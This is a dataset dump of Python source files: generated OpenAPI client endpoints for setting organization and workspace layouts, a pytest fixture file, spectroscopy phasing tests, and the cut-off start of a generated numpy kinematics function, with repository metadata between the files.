read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['declarative_user_groups'] = \ declarative_user_groups return self.call_with_http_info(**kwargs) self.put_user_groups_layout = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/userGroups', 'operation_id': 'put_user_groups_layout', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'declarative_user_groups', ], 'required': [ 'declarative_user_groups', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'declarative_user_groups': (DeclarativeUserGroups,), }, 'attribute_map': { }, 'location_map': { 'declarative_user_groups': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__put_user_groups_layout ) def __put_users_layout( self, declarative_users, **kwargs ): """Put all users # noqa: E501 Set all users and their authentication properties. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_users_layout(declarative_users, async_req=True) >>> result = thread.get() Args: declarative_users (DeclarativeUsers): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['declarative_users'] = \ declarative_users return self.call_with_http_info(**kwargs) self.put_users_layout = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/users', 'operation_id': 'put_users_layout', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'declarative_users', ], 'required': [ 'declarative_users', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'declarative_users': (DeclarativeUsers,), }, 'attribute_map': { }, 'location_map': { 'declarative_users': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__put_users_layout ) def __put_workspace_layout( self, workspace_id, declarative_workspace_model, **kwargs ): """Set workspace layout # noqa: E501 Set complete layout of workspace, like model, ACLs, etc. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_workspace_layout(workspace_id, declarative_workspace_model, async_req=True) >>> result = thread.get() Args: workspace_id (str): declarative_workspace_model (DeclarativeWorkspaceModel): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['workspace_id'] = \ workspace_id kwargs['declarative_workspace_model'] = \ declarative_workspace_model return self.call_with_http_info(**kwargs) self.put_workspace_layout = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/workspaces/{workspaceId}', 'operation_id': 'put_workspace_layout', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'workspace_id', 'declarative_workspace_model', ], 'required': [ 'workspace_id', 'declarative_workspace_model', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'workspace_id': (str,), 'declarative_workspace_model': (DeclarativeWorkspaceModel,), }, 'attribute_map': { 'workspace_id': 'workspaceId', }, 'location_map': { 'workspace_id': 'path', 'declarative_workspace_model': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__put_workspace_layout ) def __set_analytics_model( self, workspace_id, declarative_analytics, **kwargs ): """Set analytics model # noqa: E501 Set effective analytics model of the workspace. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_analytics_model(workspace_id, declarative_analytics, async_req=True) >>> result = thread.get() Args: workspace_id (str): declarative_analytics (DeclarativeAnalytics): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['workspace_id'] = \ workspace_id kwargs['declarative_analytics'] = \ declarative_analytics return self.call_with_http_info(**kwargs) self.set_analytics_model = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/workspaces/{workspaceId}/analyticsModel', 'operation_id': 'set_analytics_model', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'workspace_id', 'declarative_analytics', ], 'required': [ 'workspace_id', 'declarative_analytics', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'workspace_id': (str,), 'declarative_analytics': (DeclarativeAnalytics,), }, 'attribute_map': { 'workspace_id': 'workspaceId', }, 'location_map': { 'workspace_id': 'path', 'declarative_analytics': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__set_analytics_model ) def __set_logical_model( self, workspace_id, declarative_model, **kwargs ): """Set logical model # noqa: E501 Set effective logical model of the workspace. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_logical_model(workspace_id, declarative_model, async_req=True) >>> result = thread.get() Args: workspace_id (str): declarative_model (DeclarativeModel): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['workspace_id'] = \ workspace_id kwargs['declarative_model'] = \ declarative_model return self.call_with_http_info(**kwargs) self.set_logical_model = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/workspaces/{workspaceId}/logicalModel', 'operation_id': 'set_logical_model', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'workspace_id', 'declarative_model', ], 'required': [ 'workspace_id', 'declarative_model', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'workspace_id': (str,), 'declarative_model': (DeclarativeModel,), }, 'attribute_map': { 'workspace_id': 'workspaceId', }, 'location_map': { 'workspace_id': 'path', 'declarative_model': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__set_logical_model ) def __set_organization_layout( self, declarative_organization, **kwargs ): """Set organization layout # noqa: E501 Sets complete layout of organization, like workspaces, user-groups, etc. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_organization_layout(declarative_organization, async_req=True) >>> result = thread.get() Args: declarative_organization (DeclarativeOrganization): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['declarative_organization'] = \ declarative_organization return self.call_with_http_info(**kwargs) self.set_organization_layout = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/organization', 'operation_id': 'set_organization_layout', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'declarative_organization', ], 'required': [ 'declarative_organization', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'declarative_organization': (DeclarativeOrganization,), }, 'attribute_map': { }, 'location_map': { 'declarative_organization': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__set_organization_layout ) def __set_workspace_data_filters_layout( self, declarative_workspace_data_filters, **kwargs ): """Set all workspace data filters # noqa: E501 Sets workspace data filters in all workspaces in entire organization. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_workspace_data_filters_layout(declarative_workspace_data_filters, async_req=True) >>> result = thread.get() Args: declarative_workspace_data_filters (DeclarativeWorkspaceDataFilters): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['declarative_workspace_data_filters'] = \ declarative_workspace_data_filters return self.call_with_http_info(**kwargs) self.set_workspace_data_filters_layout = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/workspaceDataFilters', 'operation_id': 'set_workspace_data_filters_layout', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'declarative_workspace_data_filters', ], 'required': [ 'declarative_workspace_data_filters', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'declarative_workspace_data_filters': (DeclarativeWorkspaceDataFilters,), }, 'attribute_map': { }, 'location_map': { 'declarative_workspace_data_filters': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__set_workspace_data_filters_layout ) def __set_workspaces_layout( self, declarative_workspaces, **kwargs ): """Set all workspaces layout # noqa: E501 Sets complete layout of workspaces, their hierarchy, models. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_workspaces_layout(declarative_workspaces, async_req=True) >>> result = thread.get() Args: declarative_workspaces (DeclarativeWorkspaces): Keyword Args: _return_http_data_only (bool): response data without head status code and headers. Default is True. _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. async_req (bool): execute request asynchronously Returns: None If the method is called asynchronously, returns the request thread. """ kwargs['async_req'] = kwargs.get( 'async_req', False ) kwargs['_return_http_data_only'] = kwargs.get( '_return_http_data_only', True ) kwargs['_preload_content'] = kwargs.get( '_preload_content', True ) kwargs['_request_timeout'] = kwargs.get( '_request_timeout', None ) kwargs['_check_input_type'] = kwargs.get( '_check_input_type', True ) kwargs['_check_return_type'] = kwargs.get( '_check_return_type', True ) kwargs['_host_index'] = kwargs.get('_host_index') kwargs['declarative_workspaces'] = \ declarative_workspaces return self.call_with_http_info(**kwargs) self.set_workspaces_layout = _Endpoint( settings={ 'response_type': None, 'auth': [], 'endpoint_path': '/api/layout/workspaces', 'operation_id': 'set_workspaces_layout', 'http_method': 'PUT', 'servers': None, }, params_map={ 'all': [ 'declarative_workspaces', ], 'required': [ 'declarative_workspaces', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'declarative_workspaces': (DeclarativeWorkspaces,), }, 'attribute_map': { }, 'location_map': { 'declarative_workspaces': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [], 'content_type': [ 'application/json' ] }, api_client=api_client, callable=__set_workspaces_layout )

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0.81085

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0

0.003249

0.443052

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0

null

0

1

0

1

0

null

0

7

1b6b8e9fcffb5d1c25fe87536af1a30787e90d54

177

py

Python

tests/message_processing/conftest.py

aleph-im/py-aleph

a18beb8b4eba36887ca85054ed2471c3680bdfde

[ "MIT" ]

null

tests/message_processing/conftest.py

aleph-im/py-aleph

a18beb8b4eba36887ca85054ed2471c3680bdfde

[ "MIT" ]

null

tests/message_processing/conftest.py

aleph-im/py-aleph

a18beb8b4eba36887ca85054ed2471c3680bdfde

[ "MIT" ]

null

import pytest from .load_fixtures import load_fixture_messages @pytest.fixture def fixture_messages(): return load_fixture_messages("test-data-pending-tx-messages.json")

19.666667

70

0.813559

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0.326087

0.275362

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0.101695

177

8

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0

0.19209

0

1

0.2

true

0

0.4

0.2

0.8

0

1

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1

0

1

0

null

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1

0

1

0

8

59f4c94b24c76c626e35f7304097ac83e1ab4752

2,194

py

Python

tests/test_mrs/test_processing/test_phasing.py

hjiang1/suspect

f8b320b16bbd73a95d58eea1660921d6cad16f36

[ "MIT" ]

16

2016-08-31T21:05:06.000Z

2022-02-06T12:48:33.000Z

tests/test_mrs/test_processing/test_phasing.py

hjiang1/suspect

f8b320b16bbd73a95d58eea1660921d6cad16f36

[ "MIT" ]

141

2016-07-28T21:34:17.000Z

2022-03-30T09:00:36.000Z

tests/test_mrs/test_processing/test_phasing.py

hjiang1/suspect

f8b320b16bbd73a95d58eea1660921d6cad16f36

[ "MIT" ]

21

2016-08-04T14:54:19.000Z

2022-03-29T16:04:08.000Z

import suspect import numpy as np def test_mag_real_zero(): time_axis = np.arange(0, 1.024, 2.5e-4) sample_data = (6 * suspect.basis.gaussian(time_axis, 0, 0.0, 12) + suspect.basis.gaussian(time_axis, 250, 0.0, 12) + suspect.basis.gaussian(time_axis, 700, 0.0, 12)) sample_data = sample_data.adjust_phase(0.2, 0) sample_data += np.random.rand(len(sample_data)) * 1e-6 phi0, phi1 = suspect.processing.phase.mag_real(sample_data) np.testing.assert_allclose(phi0, -0.2, rtol=0.4) def test_acme_zero(): time_axis = np.arange(0, 1.024, 2.5e-4) sample_data = (6 * suspect.basis.gaussian(time_axis, 0, 0.0, 12) + suspect.basis.gaussian(time_axis, 50, 0.0, 12) + suspect.basis.gaussian(time_axis, 200, 0.0, 12)) sample_data = sample_data.adjust_phase(0.2, 0) sample_data += np.random.rand(len(sample_data)) * 1e-6 phi0, phi1 = suspect.processing.phase.acme(sample_data) np.testing.assert_allclose(phi0, -0.2, rtol=0.05) def test_acme_first(): time_axis = np.arange(0, 1.024, 2.5e-4) sample_data = (6 * suspect.basis.gaussian(time_axis, 0, 0.0, 6) + suspect.basis.gaussian(time_axis, 150, 0.0, 6)) sample_data += np.random.rand(len(sample_data)) * 2e-6 in_0 = 0.5 in_1 = 0.001 sample_data = sample_data.adjust_phase(in_0, in_1) out_0, out_1 = suspect.processing.phase.acme(sample_data) np.testing.assert_allclose(in_0, -out_0, rtol=0.5) np.testing.assert_allclose(in_1, -out_1, rtol=0.5) def test_acme_range_hz(): time_axis = np.arange(0, 1.024, 2.5e-4) sample_data = (6 * suspect.basis.gaussian(time_axis, 0, 0.0, 12) + suspect.basis.gaussian(time_axis, 50, 0.0, 12) - suspect.basis.gaussian(time_axis, 200, 0.0, 12)) sample_data += np.random.rand(len(sample_data)) * 1e-7 in_0 = 0.2 in_1 = 0.001 sample_data = sample_data.adjust_phase(in_0, in_1) out_0, out_1 = suspect.processing.phase.acme(sample_data, range_hz=(-1000, 75)) np.testing.assert_allclose(in_0, -out_0, rtol=0.05) np.testing.assert_allclose(in_1, -out_1, rtol=0.2)

35.387097

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374

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2,194

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0

null

0

1

0

null

0

7

941028b720d64cb83ee2031ab1e3cd5946102040

60,029

py

Python

o/soft_robot/rmp/Phi_2.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

o/soft_robot/rmp/Phi_2.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

o/soft_robot/rmp/Phi_2.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

import numpy def f(q, xi): return numpy.array([ [((-4810558749.47727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[4, 0] - q[5, 0]))*(12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])) + (-12828156665.2727*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 2004399.47894886*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + 1)*(-2405279374.73864*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 898984.910836762*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 6320.98765432099*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 30441817.0865359*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 53.3333333333333*q[3, 0] + 26.6666666666667*q[4, 0] + 26.6666666666667*q[5, 0]) + (-2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 53.3333333333333*q[0, 0] + 26.6666666666667*q[1, 0] + 26.6666666666667*q[2, 0])*(-51312626661.0909*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**5 + 1623563577.94858*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 31963907.9408627*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 337119.341563786*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1422.22222222222*q[3, 0]**2 + 1422.22222222222*q[3, 0]*q[4, 0] + 1422.22222222222*q[3, 0]*q[5, 0] - 1422.22222222222*q[4, 0]**2 + 1422.22222222222*q[4, 0]*q[5, 0] - 1422.22222222222*q[5, 0]**2 + 1))*(60131984.3684659*xi**9*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 - 1522090.85432679*xi**7*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 + 22474.6227709191*xi**5*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 - 79.0123456790123*xi**3*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(2*q[6, 0]**2 - 2*q[6, 0]*q[7, 0] - 2*q[6, 0]*q[8, 0] + 2*q[7, 0]**2 - 2*q[7, 0]*q[8, 0] + 2*q[8, 0]**2) + (1/3)*xi*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) + ((4810558749.47727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[4, 0] - q[5, 0]))*(-2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 